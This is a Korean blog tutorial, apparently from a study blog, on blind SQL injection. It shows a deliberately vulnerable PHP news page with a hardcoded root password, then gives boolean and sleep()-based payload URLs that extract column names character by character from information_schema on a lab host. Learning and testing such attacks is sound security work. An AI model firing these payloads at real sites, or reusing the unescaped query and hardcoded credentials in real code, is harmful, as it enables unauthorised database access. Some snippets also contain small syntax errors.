Blind SQL injection

2017. 9. 6. 19:47WebHacking/Web




이전의 게시글에서 사용한 웹 페이지 소스코드에서 while문이 있어서 쉽게 DB데이터를 가져올 수 있었다

하지만 실제 공격에서는 해당 while문처럼 편리하게 코드를 볼 수 없다

다음 웹페이지에서 DB데이터를 확인할 수 있는 방법에 대해 알아보자


[ http://192.168.6.123/view.php ]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
 
$db = mysql_connect('localhost','root','password1!');
mysql_select_db('blind');
 
$sql = "SELECT * FROM news WHERE no={$_GET[no]}";
$ret = mysql_query($sql);
$row = mysql_fetch_row($ret);
if$row ){
 
  print "Welcome~ News Site~!!<br><br>";
 
}
 
 
?>
cs


[ 알아야할 SQL문 ]

1> limit


mysql> SELECT column_name FROM columns limit 0,10 ;

=> SELECT의 결과에서 0번째 데이터를 시작으로 10개의 데이터를 출력 ( 0번 줄 ~ 9번째 줄 )


mysql> SELECT column_name FROM columns limit 0,5 ;

=> SELECT의 결과에서 0번째 데이터부터 5개의 데이터를 출력 ( 0번째 줄 ~ 4번째 줄 )


mysql> SELECT column_name FROM columns limit 6,5 ;

=> SELECT의 결과에서 6번째 데이터부터 5개의 데이터를 출력 ( 6번째 줄 ~ 10번째 줄)


2> substr( 문자열 , 시작위치 , 개수 )


substr( 문자열, 시작위치, 개수 ):    문자열의 시작위치( 1부터시작 ) 에서부터 개수만큼의 글자를 가져온다



mysql> SELECT substr( 'Hello, injection' , 1, 5 );

1번째 글자부터 5개 출력 => Hello


mysql> SELECT substr( 'Hello, injection' , 1, 1 );

1번째 글자부터 1개 출력 => H


mysql> SELECT substr( 'Hello, injection' , 2, 1 );

2번째 글자부터 1개 출력 => e


mysql> SELECT substr( 'Hello, injection' , 3, 1 );

3번째 글자부터 1개 출력 => l


* SELECT 는 출력하기 위해 사용했습니다


3> substr함수 조건 / ascii함수


3-1> 하나의 문자열만 사용해야한다 ( 하나의 열 )

mysql> SELECT substr( ( SELECT column_name, table_name FROM columns) , 1 , 1 );

substr함수에 들어가는 인자가 2개( column_name과 table_name )의 열로 입력되어서 오류가 발생한다


3-2> 하나의 문자열만 사용해야한다 ( 하나의 행 )

mysql> SELECT substr( (SELECT column_name FROM columns), 1 ,1 );

여러개의 데이터 행들이 인자로 입력되어서 오류가 발생한다


3-3> ascii( 문자 ):    해당 문자를 아스키 코드번호로 반환한다

mysql> SELECT ascii( substr( ( SELECT column_name FROM columns limit 0,1 ) ,1 , 1 ) );

limit함수로 하나의 데이터만 가져온다음 해당 문자의 첫번째 글자부터 한개의 글자를 ascii함수의 인자로 입력한 내용 출력



[ Blind SQL injection 실행과정 ]


limit, ascii, substr 함수를 사용해서 SQL injection의 취약점을 이용해 DB에서 사용하는 열의 이름을 알아보겠습니다


1> 웹 페이지에 injection 취약점이 존재하는지 확인한다


 http://192.168.6.123/view.php?no=2 and 1=1

조건식 and 1=1 항상 참이므로, 웹 페이지는 정상작동 할 것이다

http://192.168.6.123/view.php?no=2 and 1=2

조건식 and 1=2 는 항상 거짓이되므로, 웹페이지가 출력되지 않는다


=> 공격자가 입력하는 조건식에 따라 화면 출력에 변화가 생긴다면 취약점이 존재하는 것

=> " and 조건식 " 의 참,거짓을 이용해서 열의 이름을 알아내야합니다


[ 사용할 SQL문 ]


* 문자의 글자의 시작지점은 1부터 시작합니다


mysql> SELECT ascii( substr( (SELECT column_name FROM columns limit 0,1) ,1, 1) );

columns테이블에서 column_name 열의 첫번쨰 데이터의 1번째 글자부터 1개의 글자를 아스키코드로 변환


mysql> SELECT ascii( substr( (SELECT column_name FROM columns limit 0,1) ,2, 1) );

columns테이블에서 column_name 열의 첫번쨰 데이터의 2번째 글자부터 1개의 글자를 아스키코드로 변환


mysql> SELECT ascii( substr( (SELECT column_name FROM columns limit 0,1) ,3, 1) );

columns테이블에서 column_name 열의 첫번쨰 데이터의 3번째 글자부터 1개의 글자를 아스키코드로 변환



2> 실제 웹페이지에서의 활용 - 560번째 데이터의 열 이름을 알아내는 과정


2-1> 열이름의 첫번째 글자 알아내기

http://192.168.6.123/view.php?no=1 and ascii(substr((SELECT column_name FROM information_schema.columns limit 560,1),1,1))>110

=> 거짓 ( 웹페이지 실행 x )


http://192.168.6.123/view.php?no=1 and ascii(substr((SELECT column_name FROM information_schema.columns limit 560,1),1,1))>100

=> 거짓 ( 웹페이지 실행 x )


http://192.168.6.123/view.php?no=1 and ascii(substr((SELECT column_name FROM information_schema.columns limit 560,1),1,1))>90

=> 참 ( 웹페이지 실행 o )


... 반복


http://192.168.6.123/view.php?no=1 and ascii(substr((SELECT column_name FROM information_schema.columns limit 560,1),1,1))=97


=> 참 ( 웹페이지 실행 o)


2-1> 열이름의 두번째 글자 알아내기

http://192.168.6.123/view.php?no=1 and ascii(substr((SELECT column_name FROM information_schema.columns limit 560,1),2,1))> 100

...

반복...


* 열의 이름의 마지막은 NULL이 됩니다 NULL값이 나올때까지 위 과정을 반복실행해서 열의 이름을 알아내야합니다



[ 웹페이지가 정상실행된 화면 ]


입력 URL

 http://192.168.6.123/view.php?no=2 and ascii( substr( ( SELECT column_name FROM information_schema.column limit 0,1) ,1,1) = 67


정상 실행된 화면과 실행이 되지 않는 조건식을 계속해서 입력하면서 컬럼이름을 하나하나씩 찾아내야합니다



* 화면출력으로 취약점 존재여부가 나오지 않을 때 sleep함수를 사용할 수 있다

 http://192.168.6.123/view.php?no=2 and " 조건식 " and sleep(10); 

조건식이 참일 때 sleep()함수가 실행되고 조건식이 거짓이면 sleep()함수는 실행되지 않는다

sleep함수의 실행되는지 안되는지에 따라서 injection취약점이 있는지 확인할 수 있다